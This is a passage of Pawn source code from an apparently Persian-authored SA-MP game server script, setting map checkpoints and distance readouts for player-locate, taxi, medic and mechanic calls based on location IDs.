		  SetPlayerCheckpoint(i,2102.1255,2228.7788,11.0234,5);
		  }
		  if(Mahal[FindAccepted[i]] == 48)
		  {
			pDistance = GetPlayerDistanceFromPoint(i,2105.1135,-1806.5432,13.5547);
		  SetPlayerCheckpoint(i,2105.1135,-1806.5432,13.5547,5);
		  }
		  if(Mahal[FindAccepted[i]] == 49)
		  {
			pDistance = GetPlayerDistanceFromPoint(i,1656.7053,1733.3455,10.8281);
		  SetPlayerCheckpoint(i,1656.7053,1733.3455,10.8281,5);
		  }
		  if(Mahal[FindAccepted[i]] == 50)
		  {
			pDistance = GetPlayerDistanceFromPoint(i,2102.1282,2257.4785,11.0234);
		  SetPlayerCheckpoint(i,2102.1282,2257.4785,11.0234,5);
		  }
		  if(Mahal[FindAccepted[i]] == 51)
		  {
			pDistance = GetPlayerDistanceFromPoint(i,2244.2517,-1665.4854,15.4766);
		  SetPlayerCheckpoint(i,2244.2517,-1665.4854,15.4766,5);
		  }
		  if(Mahal[FindAccepted[i]] == 52)
		  {
			pDistance = GetPlayerDistanceFromPoint(i,2090.4385,2224.5938,11.0234);
		  SetPlayerCheckpoint(i,2090.4385,2224.5938,11.0234,5);
		  }
		  if(Mahal[FindAccepted[i]] == 53)
		  {
			pDistance = GetPlayerDistanceFromPoint(i,2638.0071,1671.8262,11.0234);
		  SetPlayerCheckpoint(i,2638.0071,1671.8262,11.0234,5);
		  }
		  if(Mahal[FindAccepted[i]] == 54)
		  {
			pDistance = GetPlayerDistanceFromPoint(i,2638.3850,1849.7784,11.0234);
		  SetPlayerCheckpoint(i,2638.3850,1849.7784,11.0234,5);
		  }
		  if(Mahal[FindAccepted[i]] == 55)
		  {
			pDistance = GetPlayerDistanceFromPoint(i,2572.0415,1904.6978,11.0234);
		  SetPlayerCheckpoint(i,2572.0415,1904.6978,11.0234,5);
		  }
		  if(Mahal[FindAccepted[i]] == 56)
		  {
			pDistance = GetPlayerDistanceFromPoint(i,2420.1963,-1509.0098,24.0000);
		  SetPlayerCheckpoint(i,2420.1963,-1509.0098,24.0000,5);
		  }
		  if(Mahal[FindAccepted[i]] == 57)
		  {
			pDistance = GetPlayerDistanceFromPoint(i,1158.0591,2072.2092,11.0625);
		  SetPlayerCheckpoint(i,1158.0591,2072.2092,11.0625,5);
		  }
		  if(Mahal[FindAccepted[i]] == 58)
		  {
			pDistance = GetPlayerDistanceFromPoint(i,2884.5710,2454.0039,11.0690);
		  SetPlayerCheckpoint(i,2884.5710,2454.0039,11.0690,5);
		  }
		  if(Mahal[FindAccepted[i]] == 59)
		  {
			pDistance = GetPlayerDistanceFromPoint(i,2845.8950,2415.3938,11.0690);
		  SetPlayerCheckpoint(i,2845.8950,2415.3938,11.0690,5);
		  }
		  if(Mahal[FindAccepted[i]] == 60)
		  {
			pDistance = GetPlayerDistanceFromPoint(i,2756.7285,2477.2551,11.0625);
		  SetPlayerCheckpoint(i,2756.7285,2477.2551,11.0625,5);
		  }
		  if(Mahal[FindAccepted[i]] == 61)
		  {
			pDistance = GetPlayerDistanceFromPoint(i,2802.8596,2430.6089,11.0625);
		  SetPlayerCheckpoint(i,2802.8596,2430.6089,11.0625,5);
		  }
		  if(Mahal[FindAccepted[i]] == 70)
		  {
			pDistance = GetPlayerDistanceFromPoint(i,1607.520996,1815.756591,10.820312);
		  SetPlayerCheckpoint(i,1607.520996,1815.756591,10.820312,5);
		  }
		  if(Mahal[FindAccepted[i]] == 71)
		  {
				pDistance = GetPlayerDistanceFromPoint(i,-329.8395,1536.6249,76.6117);
			 SetPlayerCheckpoint(i,-329.8395,1536.6249,76.6117,5);
		  }
		  if(Mahal[FindAccepted[i]] == 199)
		  {
				pDistance = GetPlayerDistanceFromPoint(i,225.776153,1023.474426,1084.011840);
			 SetPlayerCheckpoint(i,225.776153,1023.474426,1084.011840,5);
		  }
		  if(Mahal[FindAccepted[i]] == 1685)
		  {
				pDistance = GetPlayerDistanceFromPoint(i,852.4714,-1436.4944,15.0437);
			 SetPlayerCheckpoint(i,852.4714,-1436.4944,15.0437,5);
		  }
		  
		  

				new Float:X,Float:Y,Float:Z;
			 GetPlayerPos(FindAccepted[i], X, Y, Z);
			 if(Mahal[FindAccepted[i]] == 9999)
			 {
				pDistance = GetPlayerDistanceFromPoint(i, X, Y, Z);
			 SetPlayerCheckpoint(i, X, Y, Z, 5);
			 }
			if(Mahal[FindAccepted[i]] != 9999 && Mahal[i] == Mahal[FindAccepted[i]]) {
		  GetPlayerPos(FindAccepted[i], X, Y, Z);
			pDistance = GetPlayerDistanceFromPoint(i, X, Y, Z);
			}
				if(nfind[FindAccepted[i]] == 1)
		  {
				pDistance = GetPlayerDistanceFromPoint(i,0,0,0);
			 SetPlayerCheckpoint(i,0,0,0,5);
		  }
				new Diss = floatround(pDistance, floatround_round);
				new Nameo[40];
				GetPlayerName(FindAccepted[i], Nameo, sizeof(Nameo));
				new str[144];

				new mahalman = Mahal[i];
				new mahaloon = Mahal[FindAccepted[i]];
				new mahaljakon = 9999;
				if(mahalman == mahaloon) mahaljakon = 1;
				if(mahalman != mahaloon) mahaljakon = 85;
				new worldeman = GetPlayerVirtualWorld(i);
				new worldeoon = GetPlayerVirtualWorld(FindAccepted[i]);
				new worldjakon = 9999;
				if(worldeman == worldeoon) worldjakon = 1;
				if(worldeman != worldeoon) worldjakon = 85;
				new houseman = TooHouse[i];
				new houseoon = TooHouse[FindAccepted[i]];
				//new housejakon = 9999;
				//if(houseman == houseoon) housejakon = 1;
				//if(houseman != houseoon) housejakon = 85;
				new bizeman = TooBiz[i];
				new bizeoon = TooBiz[FindAccepted[i]];
				//new bizjakon = 9999;
				//if(bizeman == bizeoon) bizjakon = 1;
				//if(bizeman != bizeoon) bizjakon = 85;
				new bizobegirman = 9999;
				new bizobegiroon = 9999;
				if(bizeman == 9999) bizobegirman = 1;
                if(bizeoon == 9999) bizobegiroon = 1;
				new houseobegirman = 9999;
				new houseobegiroon = 9999;
				if(houseman == 9999) houseobegirman = 1;
                if(houseoon == 9999) houseobegiroon = 1;
                new bayadhalatbashe = 9999;
                if(nfind[FindAccepted[i]] == 1) bayadhalatbashe = 1;
                if(NoFindMeHacker[FindAccepted[i]] == 1 && IsACop(i)) bayadhalatbashe = 9999;
                if(NoFindMeHacker[FindAccepted[i]] == 1 && !IsACop(i)) bayadhalatbashe = 45;
                if(mahaljakon == 85) bayadhalatbashe = 1;
                if(worldjakon == 85) bayadhalatbashe = 1;
/*
                if(NoFindMeHacker[FindAccepted[i]] == 1 && bayadhalatbashe == 45)
                {
         		format(str, sizeof(str), "Distance to ~yellow~%s~white~: ~yellow~Unable To Locate",Nameo);
				PlayerTextDrawSetString(i, DistanceTD[i], str);
				SetPlayerCheckpoint(i,0,0,0,5);
				}
				if(nfind[FindAccepted[i]] == 1 || mahaljakon == 85 || worldjakon == 85)
				{
				if(houseobegiroon == 1 && bizobegiroon == 1 && houseobegirman == 1 && bizobegirman == 1)
				{
				if(bayadhalatbashe != 45)
				{
				format(str, sizeof(str), "Distance to ~yellow~%s~white~: ~yellow~Unable To Locate",Nameo);
				PlayerTextDrawSetString(i, DistanceTD[i], str);
				SetPlayerCheckpoint(i,0,0,0,5);
				}
				format(str, sizeof(str), "Distance to ~yellow~%s~white~: ~yellow~Unable To Locate",Nameo);
				PlayerTextDrawSetString(i, DistanceTD[i], str);
				SetPlayerCheckpoint(i,0,0,0,5);
				}
				}
				if(bayadhalatbashe == 9999)
				{
				format(str, sizeof(str), "Distance to ~yellow~%s~white~: ~yellow~%d~white~m",Nameo,Diss);
				PlayerTextDrawSetString(i, DistanceTD[i], str);
				}*/
				#pragma unused bayadhalatbashe
				#pragma unused houseobegiroon
				#pragma unused houseobegirman
				#pragma unused bizobegiroon
				#pragma unused bizobegirman
				if((GetPlayerVirtualWorld(FindAccepted[i])!=0&&GetPlayerVirtualWorld(i)!=GetPlayerVirtualWorld(FindAccepted[i])&&TooBiz[FindAccepted[i]]==9999&&TooHouse[FindAccepted[i]]==9999&&Mahal[FindAccepted[i]]==9999)||(nfind[FindAccepted[i]]==1)||(NoFindMeHacker[FindAccepted[i]]==1))
				{
				format(str, sizeof(str), "Distance to ~yellow~%s~white~: ~yellow~Unable To Locate",Nameo);
				PlayerTextDrawSetString(i, DistanceTD[i], str);
				SetPlayerCheckpoint(i,0,0,0,5);
				}
				else
				{
				format(str, sizeof(str), "Distance to ~yellow~%s~white~: ~yellow~%d~white~m",Nameo,Diss);
				PlayerTextDrawSetString(i, DistanceTD[i], str);
				}
		  if(PlayerInfo[i][pDetSkill] <= 399)
	   {
			 if(FindTime[i] == FindTimePoints[i])
			 {
			  FindTime[i] = 0; FindTimePoints[i] = 0; DisablePlayerCheckpoint(i);OnCheckpoint[i] = 0; PlayerPlaySound(i, 1056, 0.0, 0.0, 0.0); GameTextForPlayer(i, "~r~RedMarker gone", 2500, 1);
				 PlayerTextDrawHide(i, DistanceTD[i]);
			 }
			 else
			 {
				format(string, sizeof(string), "%d", FindTimePoints[i] - FindTime[i]);
				GameTextForPlayer(i, string, 1500, 6);
				FindTime[i] += 1;
			 }
		  }
		  }
		  }
	   if(UseAtm[i] == 1)
	   {
	   if(AtmTime[i] == 7)
			 {
			  AtmTime[i] = 0; UseAtm[i] = 0; StopLoopingAnim(i); TogglePlayerControllable(i, 1);
			 }
			 else
			 {

				AtmTime[i] += 1;
			 }
			 }
		  if(TaxiCallTime[i] > 0)
		  {
			 if(IAcceptTaxi[i] == 1)
			 {
		  if(!IsPlayerConnected(TaxiAccepted[i]))
		  {
		  TaxiCallTime[i] = 0; TaxiAccepted[i] = INVALID_PLAYER_ID; IAcceptTaxi[i] = 0; DisablePlayerCheckpoint(i); OnCheckpoint[i] = 0; SCM(i,COL_SYN,"Target left the server.");
		  }
				if(IsPlayerConnected(TaxiAccepted[i]))
				{
				OnCheckpoint[i] = 1;
		  if(Mahal[TaxiAccepted[i]] == 1)
		  {
		  SetPlayerCheckpoint(i,1310.126586,-1367.812255,13.540800,5);
		  }
		  if(Mahal[TaxiAccepted[i]] == 2)
		  {
		  SetPlayerCheckpoint(i,-1039.009643, -571.915527, 32.835742,5);
		  }
		  if(Mahal[TaxiAccepted[i]] == 3 && TooHouse[TaxiAccepted[i]] != 9999)
		  {
		  new house = TooHouse[TaxiAccepted[i]];
		  SetPlayerCheckpoint(i,HouseInfo[house][hExitx],HouseInfo[house][hExity],HouseInfo[house][hExitz],5);
		  }
		  if(Mahal[TaxiAccepted[i]] == 4)
		  {
		  SetPlayerCheckpoint(i,1481.0289,-1770.9703,18.7958,5);
		  }
		  if(Mahal[TaxiAccepted[i]] == 5)
		  {
		  SetPlayerCheckpoint(i,1554.9100,-1675.6428,16.1953,5);
		  }
		  if(Mahal[TaxiAccepted[i]] == 6)
		  {
		  SetPlayerCheckpoint(i,2287.0576,2432.1121,10.8203,5);
		  }
		  if(Mahal[TaxiAccepted[i]] == 7)
		  {
		  SetPlayerCheckpoint(i,725.5550,-1451.0232,17.6953,5);
		  }
		  if(Mahal[TaxiAccepted[i]] == 8)
		  {
		  SetPlayerCheckpoint(i,1455.4546,750.9794,11.0234,5);
		  }
		  if(Mahal[TaxiAccepted[i]] == 9)
		  {
		  SetPlayerCheckpoint(i,1456.7424,2773.4614,10.8203,5);
		  }
		  if(Mahal[TaxiAccepted[i]] == 10)
		  {
		  SetPlayerCheckpoint(i,1080.997192,-345.408233,73.984069,5);
		  }
		  if(Mahal[TaxiAccepted[i]] == 11)
		  {
		  SetPlayerCheckpoint(i,2792.930175,-1087.530761,30.718750,5);
		  }
		  if(Mahal[TaxiAccepted[i]] == 12)
		  {
		  SetPlayerCheckpoint(i,2637.1936,2352.0090,10.8203,5);
		  }
		  if(Mahal[TaxiAccepted[i]] == 13)
		  {
		  SetPlayerCheckpoint(i,1122.7065,-2037.0063,69.8942,5);
		  }
		  if(Mahal[TaxiAccepted[i]] == 14)
		  {
		  SetPlayerCheckpoint(i,937.3935,1733.2067,8.8516,5);
		  }
		  if(Mahal[TaxiAccepted[i]] == 15 && TooBiz[TaxiAccepted[i]] != 9999)
		  {
		  new bizw = TooBiz[TaxiAccepted[i]];
		  SetPlayerCheckpoint(i,BizzInfo[bizw][bEntranceX],BizzInfo[bizw][bEntranceY],BizzInfo[bizw][bEntranceZ],5);
		  }
		  if(Mahal[TaxiAccepted[i]] == 16)
		  {
		  SetPlayerCheckpoint(i,2421.4998,-1219.2438,25.56175,5);
		  }
		  if(Mahal[TaxiAccepted[i]] == 17)
		  {
		  SetPlayerCheckpoint(i,2229.9011,-1721.2582,13.5613,5);
		  }
		  if(Mahal[TaxiAccepted[i]] == 18)
		  {
		  SetPlayerCheckpoint(i,2577.4768,1325.4229,10.8203,5);
		  }
		  if(Mahal[TaxiAccepted[i]] == 19)
		  {
		  SetPlayerCheckpoint(i,1461.695, -1011.915, 26.84375,5);
		  }
		  if(Mahal[TaxiAccepted[i]] == 20)
		  {
		  SetPlayerCheckpoint(i,2436.9211,1734.6388,10.8203,5);
		  }
		  if(Mahal[TaxiAccepted[i]] == 21)
		  {
		  SetPlayerCheckpoint(i,1599.1802,2221.7549,11.0625,5);
		  }
		  if(Mahal[TaxiAccepted[i]] == 22)
		  {
		  SetPlayerCheckpoint(i,2188.0947,2469.6829,11.2422,5);
		  }
		  if(Mahal[TaxiAccepted[i]] == 23)
		  {
		  SetPlayerCheckpoint(i,2097.4456,2224.2317,11.0234,5);
		  }
		  if(Mahal[TaxiAccepted[i]] == 24)
		  {
		  SetPlayerCheckpoint(i,2637.1113,1129.2675,11.1797,5);
		  }
		  if(Mahal[TaxiAccepted[i]] == 25)
		  {
		  SetPlayerCheckpoint(i,1550.5363,1120.4553,10.8203,5);
		  }
		  if(Mahal[TaxiAccepted[i]] == 26)
		  {
		  SetPlayerCheckpoint(i,2150.7559,2733.8718,11.1763,5);
		  }
		  if(Mahal[TaxiAccepted[i]] == 27)
		  {
		  SetPlayerCheckpoint(i,-19.2424,1175.5189,19.5634,5);
		  }
		  if(Mahal[TaxiAccepted[i]] == 28)
		  {
		  SetPlayerCheckpoint(i,2193.7659,1991.2770,12.2969,5);
		  }
		  if(Mahal[TaxiAccepted[i]] == 29)
		  {
		  SetPlayerCheckpoint(i,2441.1169,2065.3987,10.8203,5);
		  }
		  if(Mahal[TaxiAccepted[i]] == 30)
		  {
		  SetPlayerCheckpoint(i,2308.5569,-1643.9500,14.8270,5);
		  }
		  if(Mahal[TaxiAccepted[i]] == 31)
		  {
		  SetPlayerCheckpoint(i,2441.1716,2163.5334,10.8203,5);
		  }
		  if(Mahal[TaxiAccepted[i]] == 32)
		  {
		  SetPlayerCheckpoint(i,1352.4738,-1758.7869,13.5078,5);
		  }
		  if(Mahal[TaxiAccepted[i]] == 33)
		  {
		  SetPlayerCheckpoint(i,1833.4373,-1842.5286,13.5781,5);
		  }
		  if(Mahal[TaxiAccepted[i]] == 34)
		  {
		  SetPlayerCheckpoint(i,1315.5024,-897.8165,39.5781,5);
		  }
		  if(Mahal[TaxiAccepted[i]] == 35)
		  {
		  SetPlayerCheckpoint(i,1000.1695,-919.9931,42.3281,5);
		  }
		  if(Mahal[TaxiAccepted[i]] == 36)
		  {
		  SetPlayerCheckpoint(i,-78.5365,-1169.9178,2.1389,5);
		  }
		  if(Mahal[TaxiAccepted[i]] == 37)
		  {
		  SetPlayerCheckpoint(i,762.7137,-1792.9973,13.0234,5);
		  }
		  if(Mahal[TaxiAccepted[i]] == 38)
		  {
		  SetPlayerCheckpoint(i,2165.875732,-1671.250000,15.073156,5);
		  }
		  if(Mahal[TaxiAccepted[i]] == 39)
		  {
		  SetPlayerCheckpoint(i,1199.3704,-918.4752,43.1199,5);
		  }
		  if(Mahal[TaxiAccepted[i]] == 40)
		  {
		  SetPlayerCheckpoint(i,2169.4907,2795.8733,10.8203,5);
		  }
		  if(Mahal[TaxiAccepted[i]] == 41)
		  {
		  SetPlayerCheckpoint(i,928.3752,-1352.9083,13.3438,5);
		  }
		  if(Mahal[TaxiAccepted[i]] == 42)
		  {
		  SetPlayerCheckpoint(i,810.8053,-1616.1349,13.5469,5);
		  }
		  if(Mahal[TaxiAccepted[i]] == 43)
		  {
		  SetPlayerCheckpoint(i,2472.7500,2034.2101,11.0625,5);
		  }
		  if(Mahal[TaxiAccepted[i]] == 44)
		  {
		  SetPlayerCheckpoint(i,2083.2698,2224.6626,11.0234,5);
		  }
		  if(Mahal[TaxiAccepted[i]] == 45)
		  {
		  SetPlayerCheckpoint(i,1872.4313,2071.8857,11.0625,5);
		  }
		  if(Mahal[TaxiAccepted[i]] == 46)
		  {
		  SetPlayerCheckpoint(i,2393.2512,2041.7485,10.8203,5);
		  }
		  if(Mahal[TaxiAccepted[i]] == 47)
		  {
		  SetPlayerCheckpoint(i,2102.1255,2228.7788,11.0234,5);
		  }
		  if(Mahal[TaxiAccepted[i]] == 48)
		  {
		  SetPlayerCheckpoint(i,2105.1135,-1806.5432,13.5547,5);
		  }
		  if(Mahal[TaxiAccepted[i]] == 49)
		  {
		  SetPlayerCheckpoint(i,1656.7053,1733.3455,10.8281,5);
		  }
		  if(Mahal[TaxiAccepted[i]] == 50)
		  {
		  SetPlayerCheckpoint(i,2102.1282,2257.4785,11.0234,5);
		  }
		  if(Mahal[TaxiAccepted[i]] == 51)
		  {
		  SetPlayerCheckpoint(i,2244.2517,-1665.4854,15.4766,5);
		  }
		  if(Mahal[TaxiAccepted[i]] == 52)
		  {
		  SetPlayerCheckpoint(i,2090.4385,2224.5938,11.0234,5);
		  }
		  if(Mahal[TaxiAccepted[i]] == 53)
		  {
		  SetPlayerCheckpoint(i,2638.0071,1671.8262,11.0234,5);
		  }
		  if(Mahal[TaxiAccepted[i]] == 54)
		  {
		  SetPlayerCheckpoint(i,2638.3850,1849.7784,11.0234,5);
		  }
		  if(Mahal[TaxiAccepted[i]] == 55)
		  {
		  SetPlayerCheckpoint(i,2572.0415,1904.6978,11.0234,5);
		  }
		  if(Mahal[TaxiAccepted[i]] == 56)
		  {
		  SetPlayerCheckpoint(i,2420.1963,-1509.0098,24.0000,5);
		  }
		  if(Mahal[TaxiAccepted[i]] == 57)
		  {
		  SetPlayerCheckpoint(i,1158.0591,2072.2092,11.0625,5);
		  }
		  if(Mahal[TaxiAccepted[i]] == 58)
		  {
		  SetPlayerCheckpoint(i,2884.5710,2454.0039,11.0690,5);
		  }
		  if(Mahal[TaxiAccepted[i]] == 59)
		  {
		  SetPlayerCheckpoint(i,2845.8950,2415.3938,11.0690,5);
		  }
		  if(Mahal[TaxiAccepted[i]] == 60)
		  {
		  SetPlayerCheckpoint(i,2756.7285,2477.2551,11.0625,5);
		  }
		  if(Mahal[TaxiAccepted[i]] == 61)
		  {
		  SetPlayerCheckpoint(i,2802.8596,2430.6089,11.0625,5);
		  }
		  if(Mahal[TaxiAccepted[i]] == 70)
		  {
		  SetPlayerCheckpoint(i,1607.520996,1815.756591,10.820312,5);
		  }
		  if(Mahal[TaxiAccepted[i]] == 71)
		  {
			 SetPlayerCheckpoint(i,-329.8395,1536.6249,76.6117,5);
		  }
					if(Mahal[TaxiAccepted[i]] == 71)
		  {
			 SetPlayerCheckpoint(i,225.776153,1023.474426,1084.011840,5);
		  }
					new Float:X,Float:Y,Float:Z;
					GetPlayerPos(TaxiAccepted[i], X, Y, Z);
					if(Mahal[TaxiAccepted[i]] == 9999)
					{
					SetPlayerCheckpoint(i, X, Y, Z, 5);
					}
				}
			 }
		  }
		  if(MedicCallTime[i] > 0)
		  {
		  if(!IsPlayerConnected(MedicAccepted[i]))
		  {
		  MedicCallTime[i] = 0; MedicAccepted[i] = 9999; DisablePlayerCheckpoint(i); OnCheckpoint[i] = 0; SCM(i,COL_SYN,"Target left the server.");
		  }
		  if(IsPlayerConnected(MedicAccepted[i]))
		  {
		  OnCheckpoint[i] = 1;
		  if(Mahal[MedicAccepted[i]] == 1)
		  {
		  SetPlayerCheckpoint(i,1310.126586,-1367.812255,13.540800,5);
		  }
		  if(Mahal[MedicAccepted[i]] == 2)
		  {
		  SetPlayerCheckpoint(i,-1039.009643, -571.915527, 32.835742,5);
		  }
		  if(Mahal[MedicAccepted[i]] == 3 && TooHouse[MedicAccepted[i]] != 9999)
		  {
		  new house = TooHouse[MedicAccepted[i]];
		  SetPlayerCheckpoint(i,HouseInfo[house][hExitx],HouseInfo[house][hExity],HouseInfo[house][hExitz],5);
		  }
		  if(Mahal[MedicAccepted[i]] == 4)
		  {
		  SetPlayerCheckpoint(i,1481.0289,-1770.9703,18.7958,5);
		  }
		  if(Mahal[MedicAccepted[i]] == 5)
		  {
		  SetPlayerCheckpoint(i,1554.9100,-1675.6428,16.1953,5);
		  }
		  if(Mahal[MedicAccepted[i]] == 6)
		  {
		  SetPlayerCheckpoint(i,2287.0576,2432.1121,10.8203,5);
		  }
		  if(Mahal[MedicAccepted[i]] == 7)
		  {
		  SetPlayerCheckpoint(i,725.5550,-1451.0232,17.6953,5);
		  }
		  if(Mahal[MedicAccepted[i]] == 8)
		  {
		  SetPlayerCheckpoint(i,1455.4546,750.9794,11.0234,5);
		  }
		  if(Mahal[MedicAccepted[i]] == 9)
		  {
		  SetPlayerCheckpoint(i,1456.7424,2773.4614,10.8203,5);
		  }
		  if(Mahal[MedicAccepted[i]] == 10)
		  {
		  SetPlayerCheckpoint(i,1080.997192,-345.408233,73.984069,5);
		  }
		  if(Mahal[MedicAccepted[i]] == 11)
		  {
		  SetPlayerCheckpoint(i,2792.930175,-1087.530761,30.718750,5);
		  }
		  if(Mahal[MedicAccepted[i]] == 12)
		  {
		  SetPlayerCheckpoint(i,2637.1936,2352.0090,10.8203,5);
		  }
		  if(Mahal[MedicAccepted[i]] == 13)
		  {
		  SetPlayerCheckpoint(i,1122.7065,-2037.0063,69.8942,5);
		  }
		  if(Mahal[MedicAccepted[i]] == 14)
		  {
		  SetPlayerCheckpoint(i,937.3935,1733.2067,8.8516,5);
		  }
		  if(Mahal[MedicAccepted[i]] == 15 && TooBiz[MedicAccepted[i]] != 9999)
		  {
		  new bizw = TooBiz[MedicAccepted[i]];
		  SetPlayerCheckpoint(i,BizzInfo[bizw][bEntranceX],BizzInfo[bizw][bEntranceY],BizzInfo[bizw][bEntranceZ],5);
		  }
		  if(Mahal[MedicAccepted[i]] == 16)
		  {
		  SetPlayerCheckpoint(i,2421.4998,-1219.2438,25.56175,5);
		  }
		  if(Mahal[MedicAccepted[i]] == 17)
		  {
		  SetPlayerCheckpoint(i,2229.9011,-1721.2582,13.5613,5);
		  }
		  if(Mahal[MedicAccepted[i]] == 18)
		  {
		  SetPlayerCheckpoint(i,2577.4768,1325.4229,10.8203,5);
		  }
		  if(Mahal[MedicAccepted[i]] == 19)
		  {
		  SetPlayerCheckpoint(i,1461.695, -1011.915, 26.84375,5);
		  }
		  if(Mahal[MedicAccepted[i]] == 20)
		  {
		  SetPlayerCheckpoint(i,2436.9211,1734.6388,10.8203,5);
		  }
		  if(Mahal[MedicAccepted[i]] == 21)
		  {
		  SetPlayerCheckpoint(i,1599.1802,2221.7549,11.0625,5);
		  }
		  if(Mahal[MedicAccepted[i]] == 22)
		  {
		  SetPlayerCheckpoint(i,2188.0947,2469.6829,11.2422,5);
		  }
		  if(Mahal[MedicAccepted[i]] == 23)
		  {
		  SetPlayerCheckpoint(i,2097.4456,2224.2317,11.0234,5);
		  }
		  if(Mahal[MedicAccepted[i]] == 24)
		  {
		  SetPlayerCheckpoint(i,2637.1113,1129.2675,11.1797,5);
		  }
		  if(Mahal[MedicAccepted[i]] == 25)
		  {
		  SetPlayerCheckpoint(i,1550.5363,1120.4553,10.8203,5);
		  }
		  if(Mahal[MedicAccepted[i]] == 26)
		  {
		  SetPlayerCheckpoint(i,2150.7559,2733.8718,11.1763,5);
		  }
		  if(Mahal[MedicAccepted[i]] == 27)
		  {
		  SetPlayerCheckpoint(i,-19.2424,1175.5189,19.5634,5);
		  }
		  if(Mahal[MedicAccepted[i]] == 28)
		  {
		  SetPlayerCheckpoint(i,2193.7659,1991.2770,12.2969,5);
		  }
		  if(Mahal[MedicAccepted[i]] == 29)
		  {
		  SetPlayerCheckpoint(i,2441.1169,2065.3987,10.8203,5);
		  }
		  if(Mahal[MedicAccepted[i]] == 30)
		  {
		  SetPlayerCheckpoint(i,2308.5569,-1643.9500,14.8270,5);
		  }
		  if(Mahal[MedicAccepted[i]] == 31)
		  {
		  SetPlayerCheckpoint(i,2441.1716,2163.5334,10.8203,5);
		  }
		  if(Mahal[MedicAccepted[i]] == 32)
		  {
		  SetPlayerCheckpoint(i,1352.4738,-1758.7869,13.5078,5);
		  }
		  if(Mahal[MedicAccepted[i]] == 33)
		  {
		  SetPlayerCheckpoint(i,1833.4373,-1842.5286,13.5781,5);
		  }
		  if(Mahal[MedicAccepted[i]] == 34)
		  {
		  SetPlayerCheckpoint(i,1315.5024,-897.8165,39.5781,5);
		  }
		  if(Mahal[MedicAccepted[i]] == 35)
		  {
		  SetPlayerCheckpoint(i,1000.1695,-919.9931,42.3281,5);
		  }
		  if(Mahal[MedicAccepted[i]] == 36)
		  {
		  SetPlayerCheckpoint(i,-78.5365,-1169.9178,2.1389,5);
		  }
		  if(Mahal[MedicAccepted[i]] == 37)
		  {
		  SetPlayerCheckpoint(i,762.7137,-1792.9973,13.0234,5);
		  }
		  if(Mahal[MedicAccepted[i]] == 38)
		  {
		  SetPlayerCheckpoint(i,2165.875732,-1671.250000,15.073156,5);
		  }
		  if(Mahal[MedicAccepted[i]] == 39)
		  {
		  SetPlayerCheckpoint(i,1199.3704,-918.4752,43.1199,5);
		  }
		  if(Mahal[MedicAccepted[i]] == 40)
		  {
		  SetPlayerCheckpoint(i,2169.4907,2795.8733,10.8203,5);
		  }
		  if(Mahal[MedicAccepted[i]] == 41)
		  {
		  SetPlayerCheckpoint(i,928.3752,-1352.9083,13.3438,5);
		  }
		  if(Mahal[MedicAccepted[i]] == 42)
		  {
		  SetPlayerCheckpoint(i,810.8053,-1616.1349,13.5469,5);
		  }
		  if(Mahal[MedicAccepted[i]] == 43)
		  {
		  SetPlayerCheckpoint(i,2472.7500,2034.2101,11.0625,5);
		  }
		  if(Mahal[MedicAccepted[i]] == 44)
		  {
		  SetPlayerCheckpoint(i,2083.2698,2224.6626,11.0234,5);
		  }
		  if(Mahal[MedicAccepted[i]] == 45)
		  {
		  SetPlayerCheckpoint(i,1872.4313,2071.8857,11.0625,5);
		  }
		  if(Mahal[MedicAccepted[i]] == 46)
		  {
		  SetPlayerCheckpoint(i,2393.2512,2041.7485,10.8203,5);
		  }
		  if(Mahal[MedicAccepted[i]] == 47)
		  {
		  SetPlayerCheckpoint(i,2102.1255,2228.7788,11.0234,5);
		  }
		  if(Mahal[MedicAccepted[i]] == 48)
		  {
		  SetPlayerCheckpoint(i,2105.1135,-1806.5432,13.5547,5);
		  }
		  if(Mahal[MedicAccepted[i]] == 49)
		  {
		  SetPlayerCheckpoint(i,1656.7053,1733.3455,10.8281,5);
		  }
		  if(Mahal[MedicAccepted[i]] == 50)
		  {
		  SetPlayerCheckpoint(i,2102.1282,2257.4785,11.0234,5);
		  }
		  if(Mahal[MedicAccepted[i]] == 51)
		  {
		  SetPlayerCheckpoint(i,2244.2517,-1665.4854,15.4766,5);
		  }
		  if(Mahal[MedicAccepted[i]] == 52)
		  {
		  SetPlayerCheckpoint(i,2090.4385,2224.5938,11.0234,5);
		  }
		  if(Mahal[MedicAccepted[i]] == 53)
		  {
		  SetPlayerCheckpoint(i,2638.0071,1671.8262,11.0234,5);
		  }
		  if(Mahal[MedicAccepted[i]] == 54)
		  {
		  SetPlayerCheckpoint(i,2638.3850,1849.7784,11.0234,5);
		  }
		  if(Mahal[MedicAccepted[i]] == 55)
		  {
		  SetPlayerCheckpoint(i,2572.0415,1904.6978,11.0234,5);
		  }
		  if(Mahal[MedicAccepted[i]] == 56)
		  {
		  SetPlayerCheckpoint(i,2420.1963,-1509.0098,24.0000,5);
		  }
		  if(Mahal[MedicAccepted[i]] == 57)
		  {
		  SetPlayerCheckpoint(i,1158.0591,2072.2092,11.0625,5);
		  }
		  if(Mahal[MedicAccepted[i]] == 58)
		  {
		  SetPlayerCheckpoint(i,2884.5710,2454.0039,11.0690,5);
		  }
		  if(Mahal[MedicAccepted[i]] == 59)
		  {
		  SetPlayerCheckpoint(i,2845.8950,2415.3938,11.0690,5);
		  }
		  if(Mahal[MedicAccepted[i]] == 60)
		  {
		  SetPlayerCheckpoint(i,2756.7285,2477.2551,11.0625,5);
		  }
		  if(Mahal[MedicAccepted[i]] == 61)
		  {
		  SetPlayerCheckpoint(i,2802.8596,2430.6089,11.0625,5);
		  }
		  if(Mahal[MedicAccepted[i]] == 70)
		  {
		  SetPlayerCheckpoint(i,1607.520996,1815.756591,10.820312,5);
		  }
		  if(Mahal[MedicAccepted[i]] == 71)
		  {
			 SetPlayerCheckpoint(i,-329.8395,1536.6249,76.6117,5);
		  }
				if(Mahal[MedicAccepted[i]] == 199)
		  {
			 SetPlayerCheckpoint(i,225.776153,1023.474426,1084.011840,5);
		  }
		  new Float:X,Float:Y,Float:Z;
				GetPlayerPos(MedicAccepted[i], X, Y, Z);
				if(Mahal[MedicAccepted[i]] == 9999)
				{
				SetPlayerCheckpoint(i, X, Y, Z, 5);
				}
		  }
		  }
		  if(MechanicCallTime[i] > 0)
		  {
		  if(!IsPlayerConnected(MechanicAccepted[i]))
		  {
		  MechanicCallTime[i] = 0; MechanicAccepted[i] = 9999; DisablePlayerCheckpoint(i); OnCheckpoint[i] = 0; SCM(i,COL_SYN,"Target left the server.");
		  }
		  if(IsPlayerConnected(MechanicAccepted[i]))
		  {
		  OnCheckpoint[i] = 1;
		  if(Mahal[MechanicAccepted[i]] == 1)
		  {
